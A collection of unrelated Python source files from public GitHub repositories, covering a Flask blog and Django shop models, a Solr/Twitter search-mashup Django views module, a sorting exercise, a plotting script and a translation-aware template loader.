c62c4a9af1d76050479aa8b61113b12aa938d298 | 9187131d6a06e4a2cd56a0eb6d20604b38ea2359 | /apitest/tp/mail/test_case/page_object/mail_page.py | fd5073f7bbd54dfe0c0487251a04d2b334badf62 | [] | no_license | hikaruwin/hikaru | 0dc75843047c01023327854798fbf4999e710f57 | 1675192d4584609bb1f678c2e5a82c06915ab25e | refs/heads/master | 2020-03-27T23:33:14.958007 | 2018-09-04T10:29:40 | 2018-09-04T10:29:40 | 147,327,361 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 358 | py | # coding: utf-8
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.by import By
from time import sleep
from .base import Base
class MailPage(Base):
url = '/'
login_success_user_loc = (By.ID, 'spnUid')
def login_success_user(self):
return self.find_element(*self.login_success_user_loc).text | [
"your email"
] | your email |
a118b3014504cb8657f235f4b8fa23f71f3919fd | 118fa1d714b70a8115830f1eb3e68ce301af0609 | /Flask_Blog/flaskblog/models.py | 86da6341a0df59369890770b579b04747500c251 | [] | no_license | sagarkk/Blog_App | 0b27dfd80ac805a13138f0b7278315aea74e48fe | f3facaa7cfe26aad846e23fc87d045790be06bc8 | refs/heads/master | 2022-12-24T20:41:48.596732 | 2020-09-27T17:11:11 | 2020-09-27T17:11:11 | 299,074,524 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,307 | py |
from datetime import datetime
from flaskblog import db,login_manager
from flask_login import UserMixin
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
class User(db.Model, UserMixin): #our model for relational database , table name lower_case(user)
id = db.Column(db.Integer, primary_key= True)
username = db.Column(db.String(20),unique= True,nullable= False)
email = db.Column(db.String(120),unique= True,nullable= False)
image_file = db.Column(db.String(20),nullable= False,default='default.jpg')
password = db.Column(db.String(60),nullable= False)
posts = db.relationship('Post',backref='author',lazy= True)# is not a attribute in user table but runs a query on post
def __repr__(self): #how our object is printed out
return f"User('{self.username}','{self.email}','{self.image_file}')"
class Post(db.Model): #table name lower_case(post)
id = db.Column(db.Integer, primary_key = True)
title = db.Column(db.String(100),nullable=False)
date_posted = db.Column(db.DateTime,nullable = False, default = datetime.utcnow)
content = db.Column(db.Text, nullable=False)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'),nullable = False)
def __repr__(self): #how our object is printed out
return f"Post('{self.title}','{self.date_posted}')"
| [
"sagarkksrivastava@gmail.com"
] | sagarkksrivastava@gmail.com |
314ea5491f976610601bc93def87970f19fa13e6 | 33e006f5ae711d44d796a0e3ca384caefe1ec299 | /Wprowadzenie do algorytmow - ksiazka/rozdzial 2/2.1-2.py | 1919575e88d14a8d51ece544f7292e484a60b267 | [] | no_license | Cozoob/Algorithms_and_data_structures | 959b188f8cef3e6b7b1fd2a6c45a5e169d8f41fe | f786a397964f71e2938d9fd6268d3428e3ed7992 | refs/heads/main | 2023-08-05T02:23:43.565651 | 2021-09-17T10:52:14 | 2021-09-17T10:52:14 | 407,532,105 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 514 | py | # Zmodyfikuj INSERTION_SORT tak zeby sortowala w porzadku nierosnacym
def insertion_sort(A):
for j in range(1, len(A)):
key = A[j]
# Wstaw A[j] w posortowany ciąg A[1,...,j-1]
i = j - 1
while i >= 0 and A[i] < key:
A[i + 1] = A[i]
i -= 1
A[i + 1] = key
return A
if __name__ == '__main__':
A = [5,2,4,6,1,3]
B = [31,41,59,26,41,58]
print(A)
insertion_sort(A)
insertion_sort(B)
print(A)
print(B) | [
"kozubmarcin10@gmail.com"
] | kozubmarcin10@gmail.com |
fcb046483bad9e61389f3e02826eca935ceff488 | 8f27c4a4c428d3ad4687a1a3b8a905c904ec93cd | /product/models.py | efda70dc77a7ca551f28ee15003aa728bf3c21f8 | [] | no_license | absalam48/sifdeal | c6d85533041b34462711f8adf39d0cfb4a993749 | 9542d0afd7a0bc64b2f6e03707aae81906d98fb5 | refs/heads/master | 2020-04-09T11:39:39.881595 | 2018-12-04T08:22:56 | 2018-12-04T08:22:56 | 160,318,911 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,390 | py | import datetime
from django.contrib.auth.models import User
from django.db import models
from django.utils import timezone
class UserProfileInfo(models.Model):
user = models.OneToOneField(User, on_delete=models.CASCADE)
#additional
name = models.CharField(max_length=30, default="")
address = models.CharField(max_length=50, default="")
city = models.CharField(max_length=60, default="")
state_province = models.CharField(max_length=30, default="")
country = models.CharField(max_length=50, default="")
portfolio_site = models.URLField(blank=True)
profile_pic = models.ImageField(upload_to='profile_pics', blank=True)
def __str__(self):
return self.user.username
class Categories(models.Model):
name = models.CharField(max_length=100)
tagline = models.TextField()
def __str__(self):
return self.name
class Product(models.Model):
categories = models.ForeignKey(Categories, on_delete=models.CASCADE)
title = models.CharField(max_length=255)
description = models.TextField()
image = models.FileField()
price = models.IntegerField()
pub_date = models.DateTimeField('date published')
def __str__(self):
return self.title
def was_published_recently(self):
return self.pub_date >= timezone.now() - datetime.timedelta(days=1)
| [
"noreply@github.com"
] | noreply@github.com |
c90af5a8f09cfde61ce93409ebaadce92a1d8139 | fc1e1a4a346f9a6b7ea7069f42b8ac9bf503a7f5 | /bin/module/plot_distro.py | 3f73629b79311fb097539a81d982176da88d9548 | [] | no_license | BiCroLab/CUTseq | 6e1c165f83f3e30d8fad266caebf92b4836db0ff | 065c861a43a2380db92558f7ce7ab9c637f9025f | refs/heads/master | 2020-08-01T15:17:38.225831 | 2019-09-26T07:53:33 | 2019-09-26T07:53:33 | 211,031,790 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 358 | py | import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
import sys
data1 = np.loadtxt(str(sys.argv[1]))
data2 = np.loadtxt(str(sys.argv[2]))
name = sys.argv[3]
fig, ax = plt.subplots()
sns.distplot(data1,ax=ax,label='all genes')
sns.distplot(data2,ax=ax,label='PAM50')
#ax.set_xlim(0,1000)
ax.legend()
ax.set_title(str(name))
plt.show()
| [
"silvano.garnerone@gmail.com"
] | silvano.garnerone@gmail.com |
7c9d87260077a86dbbabda14b55843274ed9025d | 24b9a0aec77bc27fb4e7cf3e1f6006c3ae0ad764 | /app.py | ceaad411db1e4c4cc7063da398a5e9765d74d51e | [] | no_license | pbca26/electrum-monitoring | 2761f254b8ddb85639a74e003355aea6473e177f | 6bb3cc88b28cb5427248b6db1463e97c5d1be831 | refs/heads/master | 2022-11-26T10:32:19.470869 | 2020-05-12T12:59:34 | 2020-05-12T12:59:34 | 270,329,223 | 0 | 0 | null | 2020-06-25T12:50:15 | 2020-06-07T14:21:01 | null | UTF-8 | Python | false | false | 2,614 | py | import os
import json
import requests
import atexit
from lib import electrum_lib
from lib import electrums
from flask import Flask, render_template, jsonify
from apscheduler.schedulers.background import BackgroundScheduler
app = Flask(__name__)
electrum_urls = {}
explorers_urls = {}
@app.before_first_request
def restore_data_from_backup():
global electrum_urls
electrum_urls = electrum_lib.restore_electrums_from_backup()
global explorers_urls
explorers_urls = electrum_lib.restore_explorers_from_backup()
@app.route("/")
def main():
global electrum_urls
return render_template('index.html', electrum_urls=electrum_urls)
@app.route("/atomicdex-mobile")
def filter_mobile():
global electrum_urls
return render_template('atomicdex.html', electrum_urls=electrum_urls)
@app.route("/explorers")
def explorers():
global explorers_urls
return render_template('explorers.html', explorers_urls=explorers_urls)
@app.route("/api")
def api():
return render_template('api-docs.html')
### API CALLS
@app.route('/api/electrums')
def get_all_electrums():
global electrum_urls
return jsonify(electrum_urls)
@app.route('/api/atomicdex-mob')
def get_only_atomicdex_mobile_electrums():
global electrum_urls
d = {}
for coin, urls in electrum_urls.items():
if coin in electrums.atomic_dex_mobile:
d[coin] = urls
return jsonify(d)
@app.route('/api/explorers')
def get_all_explorers():
global explorers_urls
return jsonify(explorers_urls)
### BACKGROUND JOBS
def gather_and_backup_electrums():
print('started background job: electrums update')
global electrum_urls
electrum_urls = electrum_lib.call_electrums_and_update_status(electrum_urls, electrums.electrum_version_call, electrums.eth_call)
electrum_lib.backup_electrums(electrum_urls)
print('finished background job: electrums update and backup')
def gather_and_backup_explorers():
app.logger.info('started background job: explorers update')
global explorers_urls
explorers_urls = electrum_lib.call_explorers_and_update_status(explorers_urls)
electrum_lib.backup_explorers(explorers_urls)
app.logger.info('finished background job: explorers update and backup')
scheduler = BackgroundScheduler()
scheduler.add_job(func=gather_and_backup_electrums, trigger="interval", seconds=100)
scheduler.add_job(func=gather_and_backup_explorers, trigger="interval", seconds=100)
scheduler.start()
atexit.register(lambda: scheduler.shutdown())
if __name__ == "__main__":
app.run(host="0.0.0.0", port=os.environ['PORT']) | [
"gdath100500@gmail.com"
] | gdath100500@gmail.com |
6f953e1b9bd7d90dcdff2db982c6806aff2e1411 | cc44da7bde5439248f01a6a1d18c8e36deaa559b | /attic/mash-original/apps/mashapp/views.py | fa64b2a5b8d24119ad49edceadfbe8f8e7e20642 | [] | no_license | panna/lab | 767175016fbe5169c3b93ac49b058f095bf4cb12 | 0f46c7d29d2fd90b61e4ef7bdc4b7c8a3857de63 | refs/heads/master | 2020-04-03T11:19:33.126924 | 2009-11-16T20:51:57 | 2009-11-16T20:51:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 21,329 | py |
from django.utils import simplejson
from django import forms
import md5
import re
from springsteen.views import *
from springsteen.services import *
from springsteen import utils
from mashapp.models import *
from voting.views import json_error_response
from django.core.exceptions import ObjectDoesNotExist
from voting.models import *
import dateutil.parser
import datetime
import twitter
import settings
class NewTabForm(forms.Form):
"""Submitted from the "new tab" AJAX tab."""
twitter = forms.BooleanField(required=False, initial=True, label='Search Twitter')
news = forms.BooleanField(required=False, initial=True, label='Search news')
blog = forms.BooleanField(required=False, initial=True, label='Search blogs')
video = forms.BooleanField(required=False, initial=True, label='Search videos')
images = forms.BooleanField(required=False, initial=True, label='Search images')
class TwitterForm(forms.Form):
username_to_follow = forms.CharField(required=True)
class TwitterLoginForm(forms.Form):
username = forms.CharField(required=True, label='Twitter User Name')
password = forms.CharField(required=True, label='Twitter Password', widget=forms.PasswordInput())
def autocomplete(request):
"""Grab the JSON from solr facet prefix query and return it in a simple text format for the
jQuery Autocomplete plugin.
Each suggestion is separated by a \n. The response is text/plain
"""
q = request.GET['q']
field = 'title_t'
clean_params = {
# TODO: use qt=dismax
'q': '*:*',
'facet': 'true',
'facet.field': field,
'facet.limit': '10',
'facet.prefix': q,
'rows': '0',
'wt': 'json',
}
u = settings.SOLR_SERVER + "?" + urlencode(clean_params,
doseq=1 # Must use this because urlencode doesn't handle Unicode otherwise
)
open_req = urllib2.Request(u)
request = urllib2.urlopen(open_req)
raw = request.read()
json = simplejson.loads(raw)
facets = json['facet_counts']['facet_fields'][field]
# facets is a list ['result1', count1, 'result2', count2...]
suggestions = ""
for i in range(len(facets) / 2): # We ignore the counts
suggestions += "%s\n" % facets[i * 2]
return HttpResponse(suggestions, mimetype='text/plain')
# NOTE: Basic Auth does not seem to work with unicode strings (Try to spell the word "year" in Spanish as a password)
# _AddAuthorizationHeader in twitter.py has to call encodestring on the user/password
# and this fails as described here: http://bugs.python.org/issue3613
# To-do: We could catch the error and display a nice message.
def twitter_login(request, form):
"""Handle Twitter login.
How to use this function:
form = <mytwitterformclass>(request.GET)
return_value, form = twitter_login(request, form)
if return_value:
return return_value
# Now whatever with the form: form['<mycleanedfield>']
# Also use:
# request.session['twitter_user']
# request.session['twitter_password']
After the above code (if it did not "return"), you know that form
has validates and is clean.
"""
# Try decoding the TwitterLoginForm
# Note that this same view under some conditions renders to
# twitter_login.html, which produces this form
login_form = TwitterLoginForm(request.POST)
if login_form.is_valid():
# Now access as login_form['field']
login_form = login_form.cleaned_data
# Save login in the session
request.session['twitter_user'] = login_form['username']
request.session['twitter_password'] = login_form['password']
# This had been saved in the session when we rendered twitter_login.html
return None, request.session['saved_form']
if not form.is_valid():
# The Django form received as argument didn't validate
raise Exception, "Invalid Twitter form data"
form_clean = form.cleaned_data
if 'twitter_user' not in request.session:
#
# We have to create a dict because the session middleware refuses to
# save the form
#
form_dict = {}
for f in form.fields.keys():
form_dict[f] = str(form_clean[f])
request.session['saved_form'] = form_dict
return render_to_response("twitter_login.html", dict(form=TwitterLoginForm())), None
else:
return None, form_clean
def __get_service_params(request):
service_params = {}
def parse_date(string, add_days=0):
if not string:
return None
try:
date = dateutil.parser.parse(string) # TODO: Make sure we're getting the right format from JS
date = date + datetime.timedelta(days=add_days)
return date.strftime("%Y-%m-%dT00:00:00.000Z")
except Exception:
return None
service_params['date_from'] = parse_date(request.GET.get('date_from', ''))
service_params['date_to'] = parse_date(request.GET.get('date_to', ''), add_days=1)
service_params['sort_by'] = request.GET.get('sort_by', 'Relevance')
return service_params
def twitter_poll(request):
"""Run the twitter search (query in request param 'q') again and return a json string from {'new': new_results}
"""
q = request.GET['query'];
# __search() saves the twitter results for the query in the user's session.
# We must run the solr query again, and compare the new results.
# We can't just assume that the query is ordered in reverse chronological order,
# which would make our code much simpler.
prev_results = request.session['twitter%s' % q]
mashup = get_mashup()
# TODO: I hard-coded count=3
service_params = __get_service_params(request)
service = SolrTwitterService(q, mashup, service_params, start=0, count=3)
service.run()
results = service.results()
#
# Count new results
#
new = 0
for r in results:
exists = False
for p in prev_results:
if p['id'] == r['id']:
exists = True
break;
if not exists:
new += 1
json = simplejson.dumps({'new': new})
return HttpResponse(json, mimetype='application/json')
def follow_on_twitter(request, user_id_to_follow):
"""
This view actually handles two types of request:
1) Twitter login
2) Create friendship on twitter (responds 1) if we don't have twitter login)
"""
form = TwitterForm(request.GET)
return_value, form = twitter_login(request, form)
if return_value:
return return_value
username_to_follow = form['username_to_follow']
#
# Create friendship
#
api = twitter.Api()
api.SetCredentials(request.session['twitter_user'], request.session['twitter_password'])
resp = api.CreateFriendship(user_id_to_follow)
if isinstance(resp, str):
# CreateFriendship returned an error
if re.search("could not authenticate", resp, re.IGNORECASE):
# Log out
del request.session['twitter_user']
del request.session['twitter_password']
# Render log in
request.session['saved_form'] = form
context = {
'form': TwitterLoginForm(),
'error': 'Your user/password is invalid. Please try again.'
}
return render_to_response("twitter_login.html", context)
else:
context = {'error': resp}
else:
context = {'name': username_to_follow,
'twitter_user': request.session['twitter_user']
}
# Some other code that works to, from
# http://uswaretech.com/blog/2009/02/how-we-built-a-twitter-application/
#
#import urllib2,base64,simplejson
# theurl = 'http://twitter.com/friendships/create/%s.json?follow=true'%(user_id_to_follow, )
# handle = urllib2.Request(theurl)
#
# authheader = "Basic %s" % base64.encodestring('%s:%s' % (form['username'], form['password']))
#
# handle.add_header("Authorization", authheader)
#
## try:
# resp = simplejson.load(urllib2.urlopen(handle, ""))
## except IOError, e:
## # TODO: This is reached when allocated API requests to IP are completed.
## print "parsing the is_follows json from twitter, failed"
## return
return render_to_response("follow_on_twitter_response.html", context)
def twitter_log_out(request):
del request.session['twitter_user']
del request.session['twitter_password']
return render_to_response("twitter_log_out_response.html")
#class TwitterReplyForm(forms.Form):
# screen_name_to_reply = forms.CharField(required=True)
#
#def twitter_reply(request, user_id_to_follow):
# """
#
# This view actually handles two types of request:
# 1) Twitter login
# 2) Twitter reply (responds 1) if we don't have twitter login)
#
# """
# form = TwitterReplyForm(request.GET)
#
# return_value, form = twitter_login(request, form)
# if return_value:
# return return_value
#
#
#
# return render_to_response("follow_on_twitter_response.html",
# dict(name=username_to_follow))
VOTE_DIRECTIONS = (('up', 1), ('down', -1), ('clear', 0))
def xmlhttprequest_vote_on_object(request, model, direction, serviceresult_id=None,
result_id_=None):
"""
Generic object vote function for use via XMLHttpRequest.
Parameters:
serviceresult_id -- If this is not None, it's a ServiceResult.id (from mashapp.models)
result_id_ -- If this is not None, it's the id returned by the specific service (say TwitterSearchService)
Properties of the resulting JSON object:
success
``true`` if the vote was successfully processed, ``false``
otherwise.
score
The object's updated score and number of votes if the vote
was successfully processed.
It includes an additional field: myvote, which is the value of the
vote just cast. It's important to note that if the user tried to cast an
up vote (1), and it had already cast that vote, myvote is going to be
0 (because it cleared the vote, reddit.com style).
error_message
Contains an error message if the vote was not successfully
processed.
"""
try:
if request.method == 'GET':
return json_error_response(
'XMLHttpRequest votes can only be made using POST.')
#We do allow anonymous voting
# if not request.user.is_authenticated():
# return json_error_response('Not authenticated.')
try:
vote = dict(VOTE_DIRECTIONS)[direction]
except KeyError:
return json_error_response(
'\'%s\' is not a valid vote type.' % direction)
if serviceresult_id is not None:
# The ServiceResult is already stored
# Look up the object to be voted on
lookup_kwargs = {}
lookup_kwargs['%s__exact' % model._meta.pk.name] = serviceresult_id
try:
obj = model._default_manager.get(**lookup_kwargs)
except ObjectDoesNotExist:
return json_error_response(
'No %s found for %s.' % (model._meta.verbose_name, lookup_kwargs))
else:
# The ServiceResult _may_ have been created later, but we'll
# most likely have to create it.
try:
obj = model._default_manager.get(result_id=result_id_)
except ObjectDoesNotExist:
# Create it
obj = ServiceResult(result_id=result_id_)
obj.save()
#
# Vote and respond
#
# Allow anon voting
user = request.user
if user.is_anonymous():
user = AnonymousVotingUser.get_or_create_anonymous_user(request)
# A second vote in the same direction clears the vote, reddit.com style
prev = Vote.objects.get_for_user(obj, user)
if prev is not None and prev.vote == vote:
vote = 0
Vote.objects.record_vote(obj, user, vote)
return HttpResponse(simplejson.dumps({
'success': True,
'score': Vote.objects.get_score(obj),
'myvote': vote,
}))
except Exception, ex:
import traceback
import sys
for msg in traceback.format_tb(sys.exc_info()[2]):
sys.stderr.write("%s\n" % msg)
raise
def search(request):
"""Show the front page.
"""
#
# Query Twitter current Trends
#
services = (TwitterTrendsService, )
results, services = __fetch_results_batch(query="", timeout=settings.SERVICE_REQUEST_TIMEOUT_MS,
services=services, start=0, count=0) # query, start and count are ignored
results['form'] = NewTabForm()
return render_to_response("search.html", results)
def get_mashup():
#
# Pull Mashup object (for now, just grab the first one -- if no Mashup, create one)
#
try:
return Mashup.objects.all()[0]
except Exception:
mashup = Mashup(title="(Generated by default)")
try:
mashup.solr_handler_config = SolrHandlerConfig.objects.all()[0]
except Exception:
c = SolrHandlerConfig(name="(Generated by default)")
c.save()
mashup.solr_handler_config = c
mashup.save()
return mashup
def results(request):
"""Run search, or, if no query param, shows empty search box
Request params:
query -- query string or nothing
"""
try:
mashup = get_mashup()
# form = NewTabForm(request.GET) # A form bound to the POST data
#
# # search.html passes _formenabled when using the AJAX (remote) new tab
# # to indicate that it's passing the form to enable/disable services.
# if form.is_valid() and request.GET.get('_formenabled', 'false') == 'true': # All validation rules pass
# # Now access as form['field']
# form = form.cleaned_data
#
# mashup.google_video_enabled = mashup.google_video_enabled and form['video']
# mashup.google_news_enabled = mashup.google_news_enabled and form['news']
# mashup.BOSS_news_enabled = mashup.BOSS_news_enabled and form['news']
# mashup.google_blog_enabled = mashup.google_blog_enabled and form['blog']
# mashup.technorati_enabled = mashup.technorati_enabled and form['blog']
# mashup.twitter_enabled = mashup.twitter_enabled and form['twitter']
# mashup.twitter_solr_enabled = mashup.twitter_solr_enabled and form['twitter']
# mashup.google_image_enabled = mashup.google_image_enabled and form['images']
# mashup.picasa_web_enabled = mashup.picasa_web_enabled and form['images']
# mashup.BOSS_images_enabled = mashup.BOSS_images_enabled and form['images']
# Add services to query from springsteen.services or mashapp.services modules.
services = ()
# Pass mashup so that the template can query API options
extra_context = {'mashup': mashup}
if mashup.twitter_solr_enabled: services += (SolrTwitterService,)
# if mashup.BOSS_web_enabled: services += (Web,)
# if mashup.BOSS_images_enabled: services += (Images,)
# if mashup.BOSS_news_enabled: services += (News,)
# if mashup.picasa_web_enabled: services += (PicasaWebSearchService,)
# if mashup.twitter_enabled: services += (TwitterSearchService,)
# if mashup.freebase_enabled: services += (MetawebService,)
# if mashup.amazon_enabled: services += (AmazonProductService,)
# if mashup.technorati_enabled: services += (TechnoratiSearchService,)
# if mashup.vertical_solr_enabled: services += (SolrVerticalService,)
# if mashup.wiki_enabled: services += (SolrWikiService,)
# if mashup.google_web_enabled: services += (GoogleWeb,)
# if mashup.google_image_enabled: services += (GoogleImages,)
# if mashup.google_news_enabled: services += (GoogleNews,)
# if mashup.google_blog_enabled: services += (GoogleBlog,)
# if mashup.google_video_enabled: services += (GoogleVideo,)
# if mashup.delicious_popular_enabled: services += (DeliciousPopularService,)
# if mashup.delicious_recent_enabled: services += (DeliciousRecentService,)
# Run the search and render the results
# Note that each Service gets mashup as a parameter. This way,
# each service can pull its own parameters.
return __search(request, mashup, settings.SERVICE_REQUEST_TIMEOUT_MS, \
3, services, extra_context=extra_context)
except Exception, ex:
import traceback
import sys
for msg in traceback.format_tb(sys.exc_info()[2]):
sys.stderr.write("%s\n" % msg)
raise
# Modified from springsteen.views.fetch_results_batch()
def __fetch_results_batch(query, timeout, services, mashup=None, service_params=None, start=None, count=None):
"""Perform a batch of requests and return results.
Returns results, unexhausted_services:
results -- A dictionary of service results. For each service, a (key, value) entry:
key is the service's class name.
value is a dictionary of the service's results.
unexhausted_services -- List of services that have more results to return.
"""
threads = [ x(query, mashup, service_params, start, count) for x in services ]
for thread in threads:
thread.start()
multi_join(threads, timeout=timeout)
results = {}
unexhausted_services = []
if settings.DEBUG:
results['exception_occurred'] = False
for thread in threads:
if thread.exception_occurred and settings.DEBUG:
results['exception_occurred'] = True
if not thread.exhausted():
unexhausted_services.append(thread.__class__)
# total_results = total_results + thread.total_results
# Create results dict
total_results = thread.total_results
range = ( start+1, min(start+count,total_results) )
next_start = start + count
previous_start = start - count
has_next = range[1] < total_results
has_previous = range[0] > 1
results[thread.__class__.__name__] = \
{
'count': count,
'start': start,
'range': range,
'has_next': has_next,
'has_previous': has_previous,
'next_start': next_start,
'previous_start': previous_start,
'results': thread.results(),
'total_results': total_results,
}
return results, unexhausted_services
# Copied from springsteen.views.search
def __search(request, mashup, timeout=2500, max_count=10, services=(), \
extra_params={}, extra_context={}):
"""Run a search and render the results.
Parameters:
timeout -- a global timeout for all requested services
mashup --
max_count -- used to prevent resource draining URL hacking
services -- services to query with search terms
extra_params -- overrides and extra parameters for searches
extra_context -- extra stuff passed to the template for rendering
"""
query = request.GET.get('query',None)
results = []
total_results = 0
try:
count = int(request.GET.get('count','%s' % max_count))
except ValueError:
count = 10
count = min(count, max_count)
try:
start = int(request.GET.get('start','0'))
except ValueError:
start = 0
start = max(start, 0)
results = {}
if query:
# log the query
springsteen.utils.log_query(query)
service_params = __get_service_params(request)
results, unexhausted_services = __fetch_results_batch(query, timeout, services, mashup, service_params, start, count)
#
# Save Twitter results for AJAX poller
#
if('SolrTwitterService' in results):
request.session['twitter%s' % query] = results['SolrTwitterService']['results']
# Render the template with the query and the results.
context = {
'query': query,
}
context.update(results)
context.update(extra_context)
if settings.DEBUG and 'debuggin' in request.GET:
return render_to_response("springsteen/debuggin.html",context)
else:
return render_to_response("springsteen/results.html",context)
| [
"admin@crowdsense.com"
] | admin@crowdsense.com |
7ed6fd5365fefc1a4f1ac5a00784755f8803be15 | 4f244db97ebcefd61e06400ab7983a93291dab0f | /fspages/template/loaders/filesystem.py | 443a0c0fe49d465b7b5bd20ed96c04b713fc7288 | [] | no_license | vldmit/django-fspages | 40bbb85f50263c117cab2023e18677b9c6646be4 | 095367599e08dbfa2b8652454a15b1a2acabff8d | refs/heads/master | 2016-09-05T23:12:14.661776 | 2013-06-19T07:38:12 | 2013-06-19T07:38:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,629 | py | from django.template.loaders.filesystem import Loader as FileSystemLoader
from django.conf import settings
from django.utils._os import safe_join
from django.utils.translation import get_language
class I18NLoader(FileSystemLoader):
"""
When searching for template, prepeng
"""
is_usable = True
def get_template_sources(self, template_name, template_dirs=None):
"""
Returns the absolute paths to "template_name", when appended to each
directory in "template_dirs". Any paths that don't lie inside one of the
template dirs are excluded from the result set, for security reasons.
If current language is not default, prepend each path with language
name. E.g. 'include/banner.html' would become 'de/include/banner.html'
"""
if not template_dirs:
template_dirs = settings.TEMPLATE_DIRS
if get_language() != settings.LANGUAGE_CODE:
lang = get_language()
new_dirs = []
for i in template_dirs:
new_dirs.extend([safe_join(i, lang) ,i])
template_dirs = new_dirs
for template_dir in template_dirs:
try:
yield safe_join(template_dir, template_name)
except UnicodeDecodeError:
# The template dir name was a bytestring that wasn't valid UTF-8.
raise
except ValueError:
# The joined path was located outside of this particular
# template_dir (it might be inside another one, so this isn't
# fatal).
pass
| [
"vldmit@gmail.com"
] | vldmit@gmail.com |
8fa25a444983f0afff5bd748f6d52e39bd7b29c8 | a5ac4d7858049bd4923a118689d9888f9d632ac0 | /python-examples/search.py | d776de1a0a786bf74a3d830d81553204a6d35c0a | [] | no_license | ssanupam24/Practice-Code | fd1e7c962c0b6ba19cb56cd8b21723936d000008 | 0cec9fca9774af4ee1731a338324ea1958012f75 | refs/heads/master | 2021-10-18T11:27:53.828012 | 2021-10-03T07:59:28 | 2021-10-03T07:59:28 | 19,810,666 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,354 | py | # If on Python 2.X
from __future__ import print_function
import pysolr
# Setup a Solr instance. The timeout is optional.
solr = pysolr.Solr('http://localhost:8983/solr/', timeout=10)
# How you'd index data.
'''
solr.add([
{
"id": "C:",
"title": "anupam",
"category": "0\C:"
},
{
"id": "C:\a",
"title": "anupam",
"category": "0\C: 1\C:\a"
},
{
"id": "C:\a\b",
"title": "anupam",
"category": "0\C: 1\C:\a 2\C:\a\b"
},
{
"id": "D:\b",
"title": "anupam",
"category": "0\D: 1\D:\b"
},
{
"id": "D:\b\d",
"title": "satish",
"category": "0\D: 1\D:\b 2\D:\b\d"
}
])
'''
# You can optimize the index when it gets fragmented, for better speed
# and to perform hard commit
#solr.optimize()
# Later, searching is easy. In the simple case, just a plain Lucene-style
# query is fine.
#results = solr.search('satish')
#Indexing data into solr
docs = []
doc = {}
string1 = ""
string2 = ""
for x in range(1,61):
string1 = "anupam" + str(x)
string2 = "satish" + str(x)
doc = {"id": "C:", "title": string1, "category": "0\C:"}
docs.append(doc)
doc = {"id": "C:\d" + str(x), "title": string1, "category": "0\C:\d" + str(x)}
docs.append(doc)
doc = {"id": "D:\d"+ str(x) + "\\d" + str(x+1), "title": string1, "category": "0\D:\d" + str(x)+ "\\d" + str(x+1)}
docs.append(doc)
doc = {"id": "D:\e" + str(x), "title": string2, "category": "0\D: 1\D:\e" + str(x)}
docs.append(doc)
doc = {"id": "D:\e"+ str(x) + "\\e" + str(x+1), "title": string2, "category": "0\D: 1\D:\e"+str(x) + " " + "2\D:\e" + str(x) + "\\e" + str(x+1)}
docs.append(doc)
solr.add(docs)
#print (len(docs))
params = {
'facet': 'on',
'facet.field': 'category',
'facet.prefix': '0',
'rows': '100',
}
results = solr.search('anupam*', **params)
#print(results.facets['facet_fields']['category'])
print(results.facets['facet_fields'])
print("Saw {0} result(s).".format(len(results)))
# Just loop over it to access the results.
for result in results:
print("The file is '{0}'.".format(result['category']))
# Finally, you can delete either individual documents...
#solr.delete(id='doc_1')
# ...or all documents.
#solr.delete(q='*:*')
| [
"ssanupam24@gmail.com"
] | ssanupam24@gmail.com |
d11295c900433e9132c3b111d7674e2125be180e | c8a0a370e3bdba7a159911ef9bee0c2bf9401dc7 | /Python Offer/10.Beautiful_of_Programming/02.Chapter2/2.4.The_Number_of_1.py | 05a9528cd5d2ffcdc0c6e24ac5d641a4df972004 | [] | no_license | ht-dep/Algorithms-by-Python | c47d08c27b3e8cb8b9f3f5ebd9c50f6b099281b5 | 5c5ed701944f6b5ebed1f933d65cc8c31ec42245 | refs/heads/master | 2020-03-06T23:43:10.988589 | 2018-01-21T14:54:20 | 2018-01-21T14:54:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 242 | py | # coding:utf-8
'''
2.4 1的数目
给定一个十进制正整数N，写下从1开始，到N的所有整数，然后计算其中出现1的个数
'''
def Count1(n):
return 0
if __name__ == '__main__':
n = 12839
print Count1(n)
| [
"1098918523@qq.com"
] | 1098918523@qq.com |
1167d356ec72345b3d1ca24a149967a04bd26d5a | 2295989763da2fbf76d313fc5adfcb36a4e2edea | /1464_leetcode.py | 5e941997fd53802d9c7314a821c9acad35b40b7e | [] | no_license | Nafisa-Tasneem/Problem_solving_python | e342f07f7f1e4928cb28e89b31ce26ad6ced5690 | 35669815c8c6ab4b7775ad2c3d3fe01e2c79ab01 | refs/heads/master | 2023-01-30T22:03:15.026656 | 2020-12-13T07:05:01 | 2020-12-13T07:05:01 | 294,961,092 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 225 | py | # 1464. Maximum Product of Two Elements in an Array
nums = [3,4,5,2]
arr2 = []
for i in range(len(nums)):
for j in range(len(nums)):
if j!= i:
arr2.append((nums[i]-1) * (nums[j]-1))
print(max(arr2)) | [
"nafisatasneem1101@gmail.com"
] | nafisatasneem1101@gmail.com |
f76bce9bd3090f1feb6ae7eedc31e3c90dca24c6 | cb0a6ebffd3f2bbaffe4eb89644137ffa0392e06 | /gmbh/options.py | c833651ac0826532f3c63be0c646d05edde28d55 | [] | no_license | gmbh-micro/gmbh-python | 24a6817f5cf8eb3232d5e84f2c459ae5d44230b8 | 1ff4cda0207776c725f7587dc006bed443729096 | refs/heads/master | 2020-04-16T08:26:39.902489 | 2019-04-23T15:27:53 | 2019-04-23T15:27:53 | 165,425,400 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,203 | py | class runtime():
def __init__(self,blocking=True,verbose=True):
self.blocking = blocking
self.verbose = verbose
def set_blocking(self, v):
self.bocking = v
def set_verbose(self, v):
self.verbose = v
class service():
def __init__(self, name="", aliases=[], pg=["universal"]):
self.name = name
self.aliases = aliases
self.peerGroups = pg
def set_name(self,name):
self.name = name
def set_aliases(self, aliases):
self.aliases = aliases
